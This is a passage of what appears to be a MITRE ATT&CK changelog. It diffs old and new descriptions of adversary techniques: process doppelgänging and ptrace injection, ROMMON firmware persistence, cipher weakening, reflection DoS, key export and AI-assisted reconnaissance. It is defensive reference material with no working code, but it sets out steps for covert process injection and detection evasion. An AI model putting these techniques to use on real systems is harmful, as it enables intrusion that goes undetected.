On network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys)
Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via proce | t | 1 | Adversaries may inject malicious code into a process via pro |
| > | ss doppelgänging in order to evade process-based defenses as | > | cess doppelgänging in order to evade process-based defenses | ||
| > | well as possibly elevate privileges. Process doppelgänging | > | as well as possibly elevate privileges. Process doppelgängin | ||
| > | is a method of executing arbitrary code in the address space | > | g is a method of executing arbitrary code in the address spa | ||
| > | of a separate live process. Windows Transactional NTFS (T | > | ce of a separate live process. Windows Transactional NTFS | ||
| > | xF) was introduced in Vista as a method to perform safe file | > | (TxF) was introduced in Vista as a method to perform safe fi | ||
| > | operations. (Citation: Microsoft TxF) To ensure data integr | > | le operations.(Citation: Microsoft TxF) To ensure data integ | ||
| > | ity, TxF enables only one transacted handle to write to a fi | > | rity, TxF enables only one transacted handle to write to a f | ||
| > | le at a given time. Until the write handle transaction is te | > | ile at a given time. Until the write handle transaction is t | ||
| > | rminated, all other handles are isolated from the writer and | > | erminated, all other handles are isolated from the writer an | ||
| > | may only read the committed version of the file that existe | > | d may only read the committed version of the file that exist | ||
| > | d at the time the handle was opened. (Citation: Microsoft Ba | > | ed at the time the handle was opened.(Citation: Microsoft Ba | ||
| > | sic TxF Concepts) To avoid corruption, TxF performs an autom | > | sic TxF Concepts) To avoid corruption, TxF performs an autom | ||
| > | atic rollback if the system or application fails during a wr | > | atic rollback if the system or application fails during a wr | ||
| > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | > | ite transaction.(Citation: Microsoft Where to use TxF) Alth | ||
| > | hough deprecated, the TxF application programming interface | > | ough deprecated, the TxF application programming interface ( | ||
| > | (API) is still enabled as of Windows 10. (Citation: BlackHat | > | API) is still enabled as of Windows 10.(Citation: BlackHat P | ||
| > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | > | rocess Doppelgänging Dec 2017) Adversaries may abuse TxF to | ||
| > | to a perform a file-less variation of [Process Injection](ht | > | a perform a file-less variation of [Process Injection](http | ||
| > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | > | s://attack.mitre.org/techniques/T1055). Similar to [Process | ||
| > | s Hollowing](https://attack.mitre.org/techniques/T1055/012), | > | Hollowing](https://attack.mitre.org/techniques/T1055/012), p | ||
| > | process doppelgänging involves replacing the memory of a le | > | rocess doppelgänging involves replacing the memory of a legi | ||
| > | gitimate process, enabling the veiled execution of malicious | > | timate process, enabling the veiled execution of malicious c | ||
| > | code that may evade defenses and detection. Process doppelg | > | ode that may evade defenses and detection. Process doppelgän | ||
| > | änging's use of TxF also avoids the use of highly-monitored | > | ging's use of TxF also avoids the use of highly-monitored AP | ||
| > | API functions such as <code>NtUnmapViewOfSection</code>, <co | > | I functions such as <code>NtUnmapViewOfSection</code>, <code | ||
| > | de>VirtualProtectEx</code>, and <code>SetThreadContext</code | > | >VirtualProtectEx</code>, and <code>SetThreadContext</code>. | ||
| > | >. (Citation: BlackHat Process Doppelgänging Dec 2017) Proc | > | (Citation: BlackHat Process Doppelgänging Dec 2017) Process | ||
| > | ess Doppelgänging is implemented in 4 steps (Citation: Black | > | Doppelgänging is implemented in 4 steps: * Transact – Crea | ||
| > | Hat Process Doppelgänging Dec 2017): * Transact – Create a | > | te a TxF transaction using a legitimate executable then over | ||
| > | TxF transaction using a legitimate executable then overwrite | > | write the file with malicious code. These changes will be is | ||
| > | the file with malicious code. These changes will be isolate | > | olated and only visible within the context of the transactio | ||
| > | d and only visible within the context of the transaction. * | > | n. * Load – Create a shared section of memory and load the m | ||
| > | Load – Create a shared section of memory and load the malici | > | alicious executable. * Rollback – Undo changes to original e | ||
| > | ous executable. * Rollback – Undo changes to original execut | > | xecutable, effectively removing malicious code from the file | ||
| > | able, effectively removing malicious code from the file syst | > | system. * Animate – Create a process from the tainted secti | ||
| > | em. * Animate – Create a process from the tainted section of | > | on of memory and initiate execution. This behavior will lik | ||
| > | memory and initiate execution. This behavior will likely n | > | ely not result in elevated privileges since the injected pro | ||
| > | ot result in elevated privileges since the injected process | > | cess was spawned from (and thus inherits the security contex | ||
| > | was spawned from (and thus inherits the security context) of | > | t) of the injecting process. However, execution via process | ||
| > | the injecting process. However, execution via process doppe | > | doppelgänging may evade detection from security products sin | ||
| > | lgänging may evade detection from security products since th | > | ce the execution is masked under a legitimate process. | ||
| > | e execution is masked under a legitimate process. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.641000+00:00 | 2026-11-04 03:10:21.665000+00:00 |
| description | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into a process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.(Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.(Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.(Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.(Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.(Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps:
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into processes via ptr | t | 1 | Adversaries may inject malicious code into processes via ptr |
| > | ace (process trace) system calls in order to evade process-b | > | ace (process trace) system calls in order to evade process-b | ||
| > | ased defenses as well as possibly elevate privileges. Ptrace | > | ased defenses as well as possibly elevate privileges. Ptrace | ||
| > | system call injection is a method of executing arbitrary co | > | system call injection is a method of executing arbitrary co | ||
| > | de in the address space of a separate live process. Ptrace | > | de in the address space of a separate live process. Ptrace | ||
| > | system call injection involves attaching to and modifying a | > | system call injection involves attaching to and modifying a | ||
| > | running process. The ptrace system call enables a debugging | > | running process. The ptrace system call enables a debugging | ||
| > | process to observe and control another process (and each in | > | process to observe and control another process (and each in | ||
| > | dividual thread), including changing memory and register val | > | dividual thread), including changing memory and register val | ||
| > | ues.(Citation: PTRACE man) Ptrace system call injection is c | > | ues.(Citation: PTRACE man) Ptrace system call injection is c | ||
| > | ommonly performed by writing arbitrary code into a running p | > | ommonly performed by writing arbitrary code into a running p | ||
| > | rocess (ex: <code>malloc</code>) then invoking that memory w | > | rocess (ex: <code>malloc</code>) then invoking that memory w | ||
| > | ith <code>PTRACE_SETREGS</code> to set the register containi | > | ith <code>PTRACE_SETREGS</code> to set the register containi | ||
| > | ng the next instruction to execute. Ptrace system call injec | > | ng the next instruction to execute. Ptrace system call injec | ||
| > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | > | tion can also be done with <code>PTRACE_POKETEXT</code>/<cod | ||
| > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | > | e>PTRACE_POKEDATA</code>, which copy data to a specific addr | ||
| > | ess in the target processes’ memory (ex: the current address | > | ess in the target processes’ memory (ex: the current address | ||
| > | of the next instruction). (Citation: PTRACE man)(Citation: | > | of the next instruction).(Citation: PTRACE man)(Citation: M | ||
| > | Medium Ptrace JUL 2018) Ptrace system call injection may n | > | edium Ptrace JUL 2018) Ptrace system call injection may no | ||
| > | ot be possible targeting processes that are non-child proces | > | t be possible targeting processes that are non-child process | ||
| > | ses and/or have higher-privileges.(Citation: BH Linux Inject | > | es and/or have higher-privileges.(Citation: BH Linux Inject) | ||
| > | ) Running code in the context of another process may allow | > | Running code in the context of another process may allow | ||
| > | access to the process's memory, system/network resources, a | > | access to the process's memory, system/network resources, an | ||
| > | nd possibly elevated privileges. Execution via ptrace system | > | d possibly elevated privileges. Execution via ptrace system | ||
| > | call injection may also evade detection from security produ | > | call injection may also evade detection from security produc | ||
| > | cts since the execution is masked under a legitimate process | > | ts since the execution is masked under a legitimate process. | ||
| > | . | > | |||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-04 00:18:37.552000+00:00 |
| description | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.
Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018)
Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject)
Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may query publicly accessible artificial intelli | t | 1 | Adversaries may query publicly accessible artificial intelli |
| > | gence (AI) services, such as large language models (LLMs), t | > | gence (AI) services, such as large language models (LLMs), t | ||
| > | o support targeting and operations. In addition to searching | > | o support targeting and operations. In addition to searching | ||
| > | websites or databases directly (i.e., [Search Open Websites | > | websites or databases directly (i.e., [Search Open Websites | ||
| > | /Domains](https://attack.mitre.org/techniques/T1593)), adver | > | /Domains](https://attack.mitre.org/techniques/T1593)), adver | ||
| > | saries may use AI services to synthesize, aggregate, and ana | > | saries may use AI services to synthesize, aggregate, and ana | ||
| > | lyze publicly available information at scale. This may inclu | > | lyze publicly available information at scale. This may inclu | ||
| > | de identifying individuals or organizations to target, resea | > | de identifying individuals or organizations to target, resea | ||
| > | rching organizational structures and personnel, identifying | > | rching organizational structures and personnel, identifying | ||
| > | technologies used by target organizations, researching busin | > | technologies used by target organizations, researching busin | ||
| > | ess relationships to develop plausible pretexts for [Social | > | ess relationships to develop plausible pretexts for [Social | ||
| > | Engineering](https://attack.mitre.org/techniques/T1684) appr | > | Engineering](https://attack.mitre.org/techniques/T1684) appr | ||
| > | oaches, identifying contact information for use in [Phishing | > | oaches, identifying contact information for use in [Phishing | ||
| > | ](https://attack.mitre.org/techniques/T1566) or [Phishing fo | > | ](https://attack.mitre.org/techniques/T1566) or [Phishing fo | ||
| > | r Information](https://attack.mitre.org/techniques/T1598), o | > | r Information](https://attack.mitre.org/techniques/T1598), o | ||
| > | r gathering derogatory or sensitive information about indivi | > | r gathering derogatory or sensitive information about indivi | ||
| > | duals that may be used for extortion or coercion.(Citation: | > | duals that may be used for extortion or coercion.(Citation: | ||
| > | MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gath | > | MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gath | ||
| > | ered through AI services may be leveraged for other behavior | > | ered through AI services may be leveraged for other behavior | ||
| > | s, such as establishing operational resources (i.e., [Genera | > | s, such as establishing operational resources (i.e., [Genera | ||
| > | te Content](https://attack.mitre.org/techniques/T1683) or [E | > | te Content](https://attack.mitre.org/techniques/T1683) or [E | ||
| > | stablish Accounts](https://attack.mitre.org/techniques/T1585 | > | stablish Accounts](https://attack.mitre.org/techniques/T1585 | ||
| > | ). For obtaining access to AI tools and services, see [Artif | > | )). For obtaining access to AI tools and services, see [Arti | ||
| > | icial Intelligence](https://attack.mitre.org/techniques/T158 | > | ficial Intelligence](https://attack.mitre.org/techniques/T15 | ||
| > | 8/007). | > | 88/007). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.621000+00:00 | 2026-11-03 23:53:43.727000+00:00 |
| description | Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007). | Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for [Social Engineering](https://attack.mitre.org/techniques/T1684) approaches, identifying contact information for use in [Phishing](https://attack.mitre.org/techniques/T1566) or [Phishing for Information](https://attack.mitre.org/techniques/T1598), or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.(Citation: MSFT-AI)(Citation: GTIG AI Threat Tracker) Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., [Generate Content](https://attack.mitre.org/techniques/T1683) or [Establish Accounts](https://attack.mitre.org/techniques/T1585)). For obtaining access to AI tools and services, see [Artificial Intelligence](https://attack.mitre.org/techniques/T1588/007). |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse the ROM Monitor (ROMMON) by loading an | t | 1 | Adversaries may abuse the ROM Monitor (ROMMON) by loading an |
| > | unauthorized firmware with adversary code to provide persis | > | unauthorized firmware with adversary code to provide persis | ||
| > | tent access and manipulate device behavior that is difficult | > | tent access and manipulate device behavior that is difficult | ||
| > | to detect. (Citation: Cisco Synful Knock Evolution)(Citatio | > | to detect.(Citation: Cisco Synful Knock Evolution)(Citation | ||
| > | n: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco net | > | : Cisco Blog Legacy Device Attacks) ROMMON is a Cisco netw | ||
| > | work device firmware that functions as a boot loader, boot i | > | ork device firmware that functions as a boot loader, boot im | ||
| > | mage, or boot helper to initialize hardware and software whe | > | age, or boot helper to initialize hardware and software when | ||
| > | n the platform is powered on or reset. Similar to [TFTP Boot | > | the platform is powered on or reset. Similar to [TFTP Boot] | ||
| > | ](https://attack.mitre.org/techniques/T1542/005), an adversa | > | (https://attack.mitre.org/techniques/T1542/005), an adversar | ||
| > | ry may upgrade the ROMMON image locally or remotely (for exa | > | y may upgrade the ROMMON image locally or remotely (for exam | ||
| > | mple, through TFTP) with adversary code and restart the devi | > | ple, through TFTP) with adversary code and restart the devic | ||
| > | ce in order to overwrite the existing ROMMON image. This pro | > | e in order to overwrite the existing ROMMON image. This prov | ||
| > | vides adversaries with the means to update the ROMMON to gai | > | ides adversaries with the means to update the ROMMON to gain | ||
| > | n persistence on a system in a way that may be difficult to | > | persistence on a system in a way that may be difficult to d | ||
| > | detect. | > | etect. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 00:49:10.733000+00:00 |
| description | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. | Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect.(Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks) ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect. |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may reduce the level of effort required to decry | t | 1 | Adversaries may reduce the level of effort required to decry |
| > | pt data transmitted over the network by reducing the cipher | > | pt data transmitted over the network by reducing the cipher | ||
| > | strength of encrypted communications.(Citation: Cisco Synful | > | strength of encrypted communications.(Citation: Cisco Synful | ||
| > | Knock Evolution) Adversaries can weaken the encryption sof | > | Knock Evolution) Adversaries can weaken the encryption sof | ||
| > | tware on a compromised network device by reducing the key si | > | tware on a compromised network device by reducing the key si | ||
| > | ze used by the software to convert plaintext to ciphertext ( | > | ze used by the software to convert plaintext to ciphertext ( | ||
| > | e.g., from hundreds or thousands of bytes to just a couple o | > | e.g., from hundreds or thousands of bytes to just a couple o | ||
| > | f bytes). As a result, adversaries dramatically reduce the a | > | f bytes). As a result, adversaries dramatically reduce the a | ||
| > | mount of effort needed to decrypt the protected information | > | mount of effort needed to decrypt the protected information | ||
| > | without the key. Adversaries may modify the key size used a | > | without the key. Adversaries may modify the key size used a | ||
| > | nd other encryption parameters using specialized commands in | > | nd other encryption parameters using specialized commands in | ||
| > | a [Network Device CLI](https://attack.mitre.org/techniques/ | > | a [Network Device CLI](https://attack.mitre.org/techniques/ | ||
| > | T1059/008) introduced to the system through [Modify System I | > | T1059/008) introduced to the system through [Modify System I | ||
| > | mage](https://attack.mitre.org/techniques/T1601) to change t | > | mage](https://attack.mitre.org/techniques/T1601) to change t | ||
| > | he configuration of the device. (Citation: Cisco Blog Legacy | > | he configuration of the device.(Citation: Cisco Blog Legacy | ||
| > | Device Attacks) | > | Device Attacks) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.627000+00:00 | 2026-11-04 01:09:13.241000+00:00 |
| description | Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device. (Citation: Cisco Blog Legacy Device Attacks) | Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution) Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key. Adversaries may modify the key size used and other encryption parameters using specialized commands in a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) introduced to the system through [Modify System Image](https://attack.mitre.org/techniques/T1601) to change the configuration of the device.(Citation: Cisco Blog Legacy Device Attacks) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to cause a denial of service (DoS) b | t | 1 | Adversaries may attempt to cause a denial of service (DoS) b |
| > | y reflecting a high-volume of network traffic to a target. T | > | y reflecting a high-volume of network traffic to a target. T | ||
| > | his type of Network DoS takes advantage of a third-party ser | > | his type of Network DoS takes advantage of a third-party ser | ||
| > | ver intermediary that hosts and will respond to a given spoo | > | ver intermediary that hosts and will respond to a given spoo | ||
| > | fed source IP address. This third-party server is commonly t | > | fed source IP address. This third-party server is commonly t | ||
| > | ermed a reflector. An adversary accomplishes a reflection at | > | ermed a reflector. An adversary accomplishes a reflection at | ||
| > | tack by sending packets to reflectors with the spoofed addre | > | tack by sending packets to reflectors with the spoofed addre | ||
| > | ss of the victim. Similar to Direct Network Floods, more tha | > | ss of the victim. Similar to Direct Network Floods, more tha | ||
| > | n one system may be used to conduct the attack, or a botnet | > | n one system may be used to conduct the attack, or a botnet | ||
| > | may be used. Likewise, one or more reflectors may be used to | > | may be used. Likewise, one or more reflectors may be used to | ||
| > | focus traffic on the target.(Citation: Cloudflare Reflectio | > | focus traffic on the target.(Citation: Cloudflare Reflectio | ||
| > | nDoS May 2017) This Network DoS attack may also reduce the a | > | nDoS May 2017) This Network DoS attack may also reduce the a | ||
| > | vailability and functionality of the targeted system(s) and | > | vailability and functionality of the targeted system(s) and | ||
| > | network. Reflection attacks often take advantage of protoco | > | network. Reflection attacks often take advantage of protoco | ||
| > | ls with larger responses than requests in order to amplify t | > | ls with larger responses than requests in order to amplify t | ||
| > | heir traffic, commonly known as a Reflection Amplification a | > | heir traffic, commonly known as a Reflection Amplification a | ||
| > | ttack. Adversaries may be able to generate an increase in vo | > | ttack. Adversaries may be able to generate an increase in vo | ||
| > | lume of attack traffic that is several orders of magnitude g | > | lume of attack traffic that is several orders of magnitude g | ||
| > | reater than the requests sent to the amplifiers. The extent | > | reater than the requests sent to the amplifiers. The extent | ||
| > | of this increase will depending upon many variables, such as | > | of this increase will depend upon many variables, such as th | ||
| > | the protocol in question, the technique used, and the ampli | > | e protocol in question, the technique used, and the amplifyi | ||
| > | fying servers that actually produce the amplification in att | > | ng servers that actually produce the amplification in attack | ||
| > | ack volume. Two prominent protocols that have enabled Reflec | > | volume. Two prominent protocols that have enabled Reflectio | ||
| > | tion Amplification Floods are DNS(Citation: Cloudflare DNSam | > | n Amplification Floods are DNS(Citation: Cloudflare DNSamplf | ||
| > | plficationDoS) and NTP(Citation: Cloudflare NTPamplifciation | > | icationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS | ||
| > | DoS), though the use of several others in the wild have been | > | ), though the use of several others in the wild has been doc | ||
| > | documented.(Citation: Arbor AnnualDoSreport Jan 2018) In p | > | umented.(Citation: Arbor AnnualDoSreport Jan 2018) In parti | ||
| > | articular, the memcache protocol showed itself to be a power | > | cular, the memcache protocol showed itself to be a powerful | ||
| > | ful protocol, with amplification sizes up to 51,200 times th | > | protocol, with amplification sizes up to 51,200 times the re | ||
| > | e requesting packet.(Citation: Cloudflare Memcrashed Feb 201 | > | questing packet.(Citation: Cloudflare Memcrashed Feb 2018) | ||
| > | 8) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:38.890000+00:00 | 2026-11-04 03:20:32.379000+00:00 |
| description | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild have been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) | Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.(Citation: Cloudflare ReflectionDoS May 2017) This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depend upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS(Citation: Cloudflare DNSamplficationDoS) and NTP(Citation: Cloudflare NTPamplifciationDoS), though the use of several others in the wild has been documented.(Citation: Arbor AnnualDoSreport Jan 2018) In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.(Citation: Cloudflare Memcrashed Feb 2018) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'} |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
